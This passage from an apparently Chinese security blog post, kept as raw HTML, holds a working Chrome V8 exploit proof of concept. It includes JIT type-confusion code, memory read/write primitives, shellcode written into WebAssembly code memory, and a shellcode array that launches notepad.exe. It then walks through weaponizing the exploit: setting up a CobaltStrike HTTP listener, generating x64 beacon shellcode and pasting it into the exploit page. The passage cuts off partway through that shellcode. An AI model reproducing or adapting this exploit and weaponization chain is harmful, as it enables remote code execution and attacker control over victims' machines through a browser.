class="code-snippet__number">0xFF</span>, <span class="code-snippet__number">0xFF</span>, <span class="code-snippet__number">0xFF</span>, <span class="code-snippet__number">0x5D</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0xBA</span>, <span class="code-snippet__number">0x01</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x8D</span>, <span class="code-snippet__number">0x8D</span>, <span class="code-snippet__number">0x01</span>, <span class="code-snippet__number">0x01</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0xBA</span>, <span class="code-snippet__number">0x31</span>, <span class="code-snippet__number">0x8B</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0x6F</span>, <span class="code-snippet__number">0x87</span>, <span class="code-snippet__number">0xFF</span>, <span class="code-snippet__number">0xD5</span>, <span class="code-snippet__number">0xBB</span>, <span class="code-snippet__number">0xF0</span>, <span class="code-snippet__number">0xB5</span>, <span class="code-snippet__number">0xA2</span>, <span class="code-snippet__number">0x56</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0xBA</span>, <span class="code-snippet__number">0xA6</span>, <span class="code-snippet__number">0x95</span>, <span class="code-snippet__number">0xBD</span>, <span class="code-snippet__number">0x9D</span>, <span class="code-snippet__number">0xFF</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0xD5</span>, <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0x83</span>, <span class="code-snippet__number">0xC4</span>, <span class="code-snippet__number">0x28</span>, <span class="code-snippet__number">0x3C</span>, <span class="code-snippet__number">0x06</span>, <span class="code-snippet__number">0x7C</span>, <span class="code-snippet__number">0x0A</span>, <span class="code-snippet__number">0x80</span>, <span class="code-snippet__number">0xFB</span>, <span class="code-snippet__number">0xE0</span>, <span class="code-snippet__number">0x75</span>, <span class="code-snippet__number">0x05</span>, <span class="code-snippet__number">0xBB</span>, <span class="code-snippet__number">0x47</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0x13</span>, <span class="code-snippet__number">0x72</span>, <span class="code-snippet__number">0x6F</span>, <span class="code-snippet__number">0x6A</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x59</span>, <span class="code-snippet__number">0x41</span>, <span class="code-snippet__number">0x89</span>, <span class="code-snippet__number">0xDA</span>, <span class="code-snippet__number">0xFF</span>, <span class="code-snippet__number">0xD5</span>, <span class="code-snippet__number">0x6E</span>, <span class="code-snippet__number">0x6F</span>, <span class="code-snippet__number">0x74</span>, <span class="code-snippet__number">0x65</span>, <span class="code-snippet__number">0x70</span>,</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__number">0x61</span>, <span class="code-snippet__number">0x64</span>, <span class="code-snippet__number">0x2E</span>, <span class="code-snippet__number">0x65</span>, <span class="code-snippet__number">0x78</span>, <span class="code-snippet__number">0x65</span>, <span class="code-snippet__number">0x00</span>];</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">var</span> wasmCode = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Uint8Array</span>([<span class="code-snippet__number">0</span>, <span class="code-snippet__number">97</span>, <span class="code-snippet__number">115</span>, <span class="code-snippet__number">109</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">133</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">96</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">127</span>, <span class="code-snippet__number">3</span>, <span class="code-snippet__number">130</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">4</span>, <span class="code-snippet__number">132</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">112</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">5</span>, <span class="code-snippet__number">131</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">6</span>, <span class="code-snippet__number">129</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">7</span>, <span class="code-snippet__number">145</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">6</span>, <span class="code-snippet__number">109</span>, <span class="code-snippet__number">101</span>, <span class="code-snippet__number">109</span>, <span class="code-snippet__number">111</span>, <span class="code-snippet__number">114</span>, <span class="code-snippet__number">121</span>, <span class="code-snippet__number">2</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">4</span>, <span class="code-snippet__number">109</span>, <span class="code-snippet__number">97</span>, <span class="code-snippet__number">105</span>, <span class="code-snippet__number">110</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">10</span>, <span class="code-snippet__number">138</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">132</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">128</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">65</span>, <span class="code-snippet__number">42</span>, <span class="code-snippet__number">11</span>]);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">var</span> wasmModule = <span class="code-snippet__keyword">new</span> WebAssembly.Module(wasmCode);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">var</span> wasmInstance = <span class="code-snippet__keyword">new</span> WebAssembly.Instance(wasmModule);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">var</span> main = wasmInstance.exports.main;</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">var</span> bf = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">ArrayBuffer</span>(<span class="code-snippet__number">8</span>);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">var</span> bfView = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">DataView</span>(bf);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">fLow</span>(<span class="code-snippet__params">f</span>) </span>{</span></code><code><span class="code-snippet_outer">       bfView.setFloat64(<span class="code-snippet__number">0</span>, f, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">return</span> (bfView.getUint32(<span class="code-snippet__number">0</span>, <span class="code-snippet__literal">true</span>));</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">fHi</span>(<span class="code-snippet__params">f</span>) </span>{</span></code><code><span class="code-snippet_outer">       bfView.setFloat64(<span class="code-snippet__number">0</span>, f, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">return</span> (bfView.getUint32(<span class="code-snippet__number">4</span>, <span class="code-snippet__literal">true</span>))</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">i2f</span>(<span class="code-snippet__params">low, hi</span>) </span>{</span></code><code><span class="code-snippet_outer">       bfView.setUint32(<span class="code-snippet__number">0</span>, low, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">       bfView.setUint32(<span class="code-snippet__number">4</span>, hi, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">return</span> bfView.getFloat64(<span class="code-snippet__number">0</span>, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">f2big</span>(<span class="code-snippet__params">f</span>) </span>{</span></code><code><span class="code-snippet_outer">       bfView.setFloat64(<span class="code-snippet__number">0</span>, f, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">return</span> bfView.getBigUint64(<span class="code-snippet__number">0</span>, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">big2f</span>(<span class="code-snippet__params">b</span>) </span>{</span></code><code><span class="code-snippet_outer">       bfView.setBigUint64(<span class="code-snippet__number">0</span>, b, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">return</span> bfView.getFloat64(<span class="code-snippet__number">0</span>, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">LeakArrayBuffer</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">ArrayBuffer</span> </span>{</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">constructor</span>(size) {</span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">super</span>(size);</span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">this</span>.slot = <span class="code-snippet__number">0xb33f</span>;</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">foo</span>(<span class="code-snippet__params">a</span>) </span>{</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">let</span> x = <span class="code-snippet__number">-1</span>;</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">if</span> (a) x = <span class="code-snippet__number">0xFFFFFFFF</span>;</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">var</span> arr = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Array</span>(<span class="code-snippet__built_in">Math</span>.sign(<span class="code-snippet__number">0</span> - <span class="code-snippet__built_in">Math</span>.max(<span class="code-snippet__number">0</span>, x, <span class="code-snippet__number">-1</span>)));</span></code><code><span class="code-snippet_outer">       arr.shift();</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">let</span> local_arr = <span class="code-snippet__built_in">Array</span>(<span class="code-snippet__number">2</span>);</span></code><code><span class="code-snippet_outer">       local_arr[<span class="code-snippet__number">0</span>] = <span class="code-snippet__number">5.1</span>;<span class="code-snippet__comment">//4014666666666666</span></span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">let</span> buff = <span class="code-snippet__keyword">new</span> LeakArrayBuffer(<span class="code-snippet__number">0x1000</span>);<span class="code-snippet__comment">//byteLength idx=8</span></span></code><code><span class="code-snippet_outer">       arr[<span class="code-snippet__number">0</span>] = <span class="code-snippet__number">0x1122</span>;</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">return</span> [arr, local_arr, buff];</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">var</span> i = <span class="code-snippet__number">0</span>; i &lt; <span class="code-snippet__number">0x10000</span>; ++i)</span></code><code><span class="code-snippet_outer">       foo(<span class="code-snippet__literal">false</span>);</span></code><code><span class="code-snippet_outer">   gc(); gc();</span></code><code><span class="code-snippet_outer">  [corrput_arr, rwarr, corrupt_buff] = foo(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">   corrput_arr[<span class="code-snippet__number">12</span>] = <span class="code-snippet__number">0x22444</span>;</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">delete</span> corrput_arr;</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">setbackingStore</span>(<span class="code-snippet__params">hi, low</span>) </span>{</span></code><code><span class="code-snippet_outer">       rwarr[<span class="code-snippet__number">4</span>] = i2f(fLow(rwarr[<span class="code-snippet__number">4</span>]), hi);</span></code><code><span class="code-snippet_outer">       rwarr[<span class="code-snippet__number">5</span>] = i2f(low, fHi(rwarr[<span class="code-snippet__number">5</span>]));</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">leakObjLow</span>(<span class="code-snippet__params">o</span>) </span>{</span></code><code><span class="code-snippet_outer">       corrupt_buff.slot = o;</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">return</span> (fLow(rwarr[<span class="code-snippet__number">9</span>]) - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> corrupt_view = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">DataView</span>(corrupt_buff);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> idx0Addr = corrupt_buffer_ptr_low - <span class="code-snippet__number">0x10</span>;</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> baseAddr = (corrupt_buffer_ptr_low &amp; <span class="code-snippet__number">0xffff0000</span>) - ((corrupt_buffer_ptr_low &amp; <span class="code-snippet__number">0xffff0000</span>) % <span class="code-snippet__number">0x40000</span>) + <span class="code-snippet__number">0x40000</span>;</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> delta = baseAddr + <span class="code-snippet__number">0x1c</span> - idx0Addr;</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">if</span> ((delta % <span class="code-snippet__number">8</span>) == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">let</span> baseIdx = delta / <span class="code-snippet__number">8</span>;</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">this</span>.base = fLow(rwarr[baseIdx]);</span></code><code><span class="code-snippet_outer">  } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">let</span> baseIdx = ((delta - (delta % <span class="code-snippet__number">8</span>)) / <span class="code-snippet__number">8</span>);</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">this</span>.base = fHi(rwarr[baseIdx]);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> wasmInsAddr = leakObjLow(wasmInstance);</span></code><code><span class="code-snippet_outer">   setbackingStore(wasmInsAddr, <span class="code-snippet__keyword">this</span>.base);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> code_entry = corrupt_view.getFloat64(<span class="code-snippet__number">13</span> * <span class="code-snippet__number">8</span>, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">   setbackingStore(fLow(code_entry), fHi(code_entry));</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">let</span> i = <span class="code-snippet__number">0</span>; i &lt; shellcode.length; i++) {</span></code><code><span class="code-snippet_outer">       corrupt_view.setUint8(i, shellcode[i]);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   main();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">script</span>&gt;</span></span></code></pre></section><p><span style="font-size: 14px;">手动打开 Chrome 的时候关闭沙箱然后打开 poc.html 即可弹出记事本：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">chrome.exe -no-sandbox</span></code></pre></section><p><br/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.49609375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=4d529d6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9WREIa6WjR1vZYR8VNhLaRKOybk41o7xicBmX3arlt5eegqcZY1wpvFD4Kdr2bHvCUsV8g9AKrXew%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section hm_fix="350:722" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;">点击链接上线到 CobaltStrike</span></strong></p></section></section></section><p><br style="white-space: normal;"/></p><p><span style="font-size: 14px;">首先通过 CobaltStrike 开启一个监听器，我这边选择的是 http：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.103125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d47f8d85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9WREIa6WjR1vZYR8VNhLaRiclib3eUzqpawuWwfOia0NBT5oYDGrq44zgt8Vx57VHJ5w573NLl2kwibQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">之后生成一个 C 的 shellcode（x64）：</span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5355086372360844" data-s="300,640" style="" data-type="png" data-w="1042" src="https://wechat2rss.xlab.app/img-proxy/?k=98116492&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9WREIa6WjR1vZYR8VNhLaRLrPGeXmpRAc6VrM0oFDsdp1a6tA2AkZGMbq6U9F4mYeXTSicpSWqicfQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">之后把生成的 Poc 中的 shellcode，<strong>\</strong> 替换为 <strong>,0</strong>  ：</span></p><p><span style="font-size: 14px;">替换前：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.1729106628242075" data-s="300,640" style="" data-type="png" data-w="2082" src="https://wechat2rss.xlab.app/img-proxy/?k=542156fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9WREIa6WjR1vZYR8VNhLaR3XnFbaMt2tAmDgWHq6lDJexTmpwzjgj6jZ3IqcsgaNkib6cFoGJsiaww%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">替换后：</span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.17635658914728683" data-s="300,640" style="" data-type="png" data-w="2064" src="https://wechat2rss.xlab.app/img-proxy/?k=3f734c5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9WREIa6WjR1vZYR8VNhLaRW1sL9VQ4lwTYJyia1JyWmY4aUibmSOua3icjgMgJ77BRTqaQibDr0eItDg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">之后把 shellcode 替换到第七行里：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">script</span>&gt;</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">gc</span>(<span class="code-snippet__params"></span>) </span>{</span></code><code><span class="code-snippet_outer">       <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">var</span> i = <span class="code-snippet__number">0</span>; i &lt; <span class="code-snippet__number">0x80000</span>; ++i) {</span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">var</span> a = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">ArrayBuffer</span>();</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">let</span> shellcode = [<span class="code-snippet__number">0xfc</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x83</span>,<span class="code-snippet__number">0xe4</span>,<span class="code-snippet__number">0xf0</span>,<span class="code-snippet__number">0xe8</span>,<span class="code-snippet__number">0xc8</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x51</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x50</span>,<span class="code-snippet__number">0x52</span>,<span class="code-snippet__number">0x51</span>,<span class="code-snippet__number">0x56</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0xd2</span>,<span class="code-snippet__number">0x65</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x52</span>,<span class="code-snippet__number">0x60</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x52</span>,<span class="code-snippet__number">0x18</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x52</span>,<span class="code-snippet__number">0x20</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x72</span>,<span class="code-snippet__number">0x50</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x0f</span>,<span class="code-snippet__number">0xb7</span>,<span class="code-snippet__number">0x4a</span>,<span class="code-snippet__number">0x4a</span>,<span class="code-snippet__number">0x4d</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0xc9</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0xc0</span>,<span class="code-snippet__number">0xac</span>,<span class="code-snippet__number">0x3c</span>,<span class="code-snippet__number">0x61</span>,<span class="code-snippet__number">0x7c</span>,<span class="code-snippet__number">0x02</span>,<span class="code-snippet__number">0x2c</span>,<span class="code-snippet__number">0x20</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xc1</span>,<span class="code-snippet__number">0xc9</span>,<span class="code-snippet__number">0x0d</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0xc1</span>,<span class="code-snippet__number">0xe2</span>,<span class="code-snippet__number">0xed</span>,<span class="code-snippet__number">0x52</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x51</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x52</span>,<span class="code-snippet__number">0x20</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x42</span>,<span class="code-snippet__number">0x3c</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0xd0</span>,<span class="code-snippet__number">0x66</span>,<span class="code-snippet__number">0x81</span>,<span class="code-snippet__number">0x78</span>,<span class="code-snippet__number">0x18</span>,<span class="code-snippet__number">0x0b</span>,<span class="code-snippet__number">0x02</span>,<span class="code-snippet__number">0x75</span>,<span class="code-snippet__number">0x72</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x80</span>,<span class="code-snippet__number">0x88</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x00</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x85</span>,<span class="code-snippet__number">0xc0</span>,<span class="code-snippet__number">0x74</span>,<span class="code-snippet__number">0x67</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0xd0</span>,<span class="code-snippet__number">0x50</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x18</span>,<span class="code-snippet__number">0x44</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x40</span>,<span class="code-snippet__number">0x20</span>,<span class="code-snippet__number">0x49</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0xd0</span>,<span class="code-snippet__number">0xe3</span>,<span class="code-snippet__number">0x56</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0xff</span>,<span class="code-snippet__number">0xc9</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x34</span>,<span class="code-snippet__number">0x88</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0xd6</span>,<span class="code-snippet__number">0x4d</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0xc9</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x31</span>,<span class="code-snippet__number">0xc0</span>,<span class="code-snippet__number">0xac</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0xc1</span>,<span class="code-snippet__number">0xc9</span>,<span class="code-snippet__number">0x0d</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0xc1</span>,<span class="code-snippet__number">0x38</span>,<span class="code-snippet__number">0xe0</span>,<span class="code-snippet__number">0x75</span>,<span class="code-snippet__number">0xf1</span>,<span class="code-snippet__number">0x4c</span>,<span class="code-snippet__number">0x03</span>,<span class="code-snippet__number">0x4c</span>,<span class="code-snippet__number">0x24</span>,<span class="code-snippet__number">0x08</span>,<span class="code-snippet__number">0x45</span>,<span class="code-snippet__number">0x39</span>,<span class="code-snippet__number">0xd1</span>,<span class="code-snippet__number">0x75</span>,<span class="code-snippet__number">0xd8</span>,<span class="code-snippet__number">0x58</span>,<span class="code-snippet__number">0x44</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x40</span>,<span class="code-snippet__number">0x24</span>,<span class="code-snippet__number">0x49</span>,<span class="code-snippet__number">0x01</span>,<span class="code-snippet__number">0xd0</span>,<span class="code-snippet__number">0x66</span>,<span class="code-snippet__number">0x41</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x0c</span>,<span class="code-snippet__number">0x48</span>,<span class="code-snippet__number">0x44</span>,<span class="code-snippet__number">0x8b</span>,<span class="code-snippet__number">0x40</span>,<span class="code-snippet__number">0x1c</span>,<span 